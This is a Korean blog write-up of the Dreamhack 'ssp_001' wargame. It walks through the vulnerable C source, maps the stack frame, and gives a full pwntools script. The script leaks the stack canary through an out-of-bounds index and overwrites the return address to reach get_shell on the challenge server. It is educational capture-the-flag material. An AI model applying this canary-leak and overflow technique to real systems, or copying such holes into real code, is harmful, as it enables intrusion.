[드림핵 시스템 해킹] Wargame : ssp_001

asdf·2025년 1월 9일

pwnable

목록 보기
11/36

이전에 풀던 문제들처럼 단순하게 배운 내용을 사용해보는 정도에서 조금 더 나아가 약간의 응용이 필요한 문제였습니다. 갑자기 확 어려워진 느낌을 받아서 약간 당황스러웠네요..

문제

풀이

취약점 분석

적용된 보안 기법부터 살펴보겠습니다.

32비트이며 canary가 적용되어 있습니다.
다음으로 문제 파일인 ssp_001.c를 보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

가장 먼저 눈에 띄는 부분은 get_shell 함수가 존재한다는 점입니다. 따라서 스택의 return address를 get_shell로 변경해주는 것이 최종 목표가 될 것 입니다.
main에는 switch문이 반복해서 실행됩니다. select를 입력 받은 후 switch문이 실행되는데 한 케이스씩 살펴보겠습니다.
먼저 'F'케이스는 box를 input받으나 크기가 제한되어있어 공격에 사용하기는 쉽지 않아 보입니다. get_shell 함수가 존재하지 않았다면 box에 execve 셸 코드를 담아 return address를 box로 덮는 방법을 고려할 수 있으나 get_shell이 주어졌으므로 그럴 필요가 없습니다.
다음으로 'P'케이스는 index를 입력받고 print_box(box, idx)를 실행합니다. print_box는 box[idx]를 두자리 16진수로 출력해줍니다. idx에 적절한 값을 넣으면 canary를 얻을 수 있을 것 같습니다.
마지막 'E'케이스 입니다. name_len을 입력받은 후 그 길이만큼의 name을 입력받습니다. name_len을 정할 수 있으므로 길이 제한이 없는 read라고 봐도 무방합니다. 'P'케이스에서 얻은 canary를 사용해 return address overwrite를 사용하여 문제를 해결할 수 있을 것 같습니다.

스택 프레임 구조 파악

스택에 저장된 변수는 box, name, select, idx, name_len입니다.
pwndbg로 main함수를 살펴보겠습니다.

while문 내부에 select를 받는 read입니다. select의 주소가 ebp-0x8a임을 확인할 수 있습니다.

case 'F'입니다. box의 주소는 ebp-0x88임을 알 수 있습니다.
마찬가지로 case 'P'와 case 'E'도 살펴보겠습니다.

idx의 주소는 ebp-0x94입니다.

name_len의 주소는 0x90, name의 주소는 0x48입니다.

canary를 검사하는 부분입니다. canary의 주소는 0x8인데 32비트이므로 canary는 4바이트입니다. 따라서 4바이트의 더미 데이터가 canary와 ebp 사이에 존재함을 알 수 있습니다.
지금까지 얻은 정보로 스택을 그려보겠습니다.

익스플로잇 실행

익스플로잇의 큰 줄기는 다음과 같습니다.
1. case 'P'에서 canary 얻기
2. case 'E'에서 return address overwrite로 셸 획득

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 22512)
e = ELF("./ssp_001")

기본 설정입니다.

cnry = b""
i = 131
while i >= 128:
    p.sendlineafter("> ", 'P')
    p.sendlineafter('index : ', str(i))
    p.recvuntil("is : ")
    cnry += p.recvn(2)
    i -= 1

cnry = int(cnry, 16)
slog("Canary", cnry)

canary를 얻기 위해 case 'P'의 print_box 함수를 활용해 보겠습니다. print_box는 box[idx]를 두 자리 16진수로 출력해줍니다. 저희는 box와 canary 사이의 거리를 알기 때문에 이를 사용해 canary를 한 바이트씩 출력할 수 있습니다. box와 canary간 거리는 0x80바이트, 즉 128바이트이므로 canary는 box[128], box[129], box[130], box[131]입니다. while문을 사용해서 canary를 얻어주겠습니다. 이 때 리틀 엔디안 방식을 사용하므로 역순으로 더해주었습니다.

p.sendlineafter("> ", 'E')
p.sendlineafter("Size : ", str(0x50))
payload = b'A' * 0x40 + p32(cnry) + b'B' * 8
#get_shell의 메모리 주소
get_shell = e.symbols["get_shell"]
payload += p32(get_shell)

p.sendlineafter("Name : ", payload)
p.interactive()

이제 payload를 전달할 수 있도록 충분한 name_len을 설정해 준 다음 return address에 get_shell을 넣어주면 해결할 수 있습니다.
아래는 완성된 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 22512)
e = ELF("./ssp_001")

cnry = b""
i = 131
while i >= 128:
    p.sendlineafter("> ", 'P')
    p.sendlineafter('index : ', str(i))
    p.recvuntil("is : ")
    cnry += p.recvn(2)
    i -= 1

cnry = int(cnry, 16)
slog("Canary", cnry)

p.sendlineafter("> ", 'E')
p.sendlineafter("Size : ", str(0x50))
payload = b'A' * 0x40 + p32(cnry) + b'B' * 8
get_shell = e.symbols["get_shell"]
payload += p32(get_shell)

p.sendlineafter("Name : ", payload)
p.interactive()

셸을 얻어 플래그를 얻는데 성공하였습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글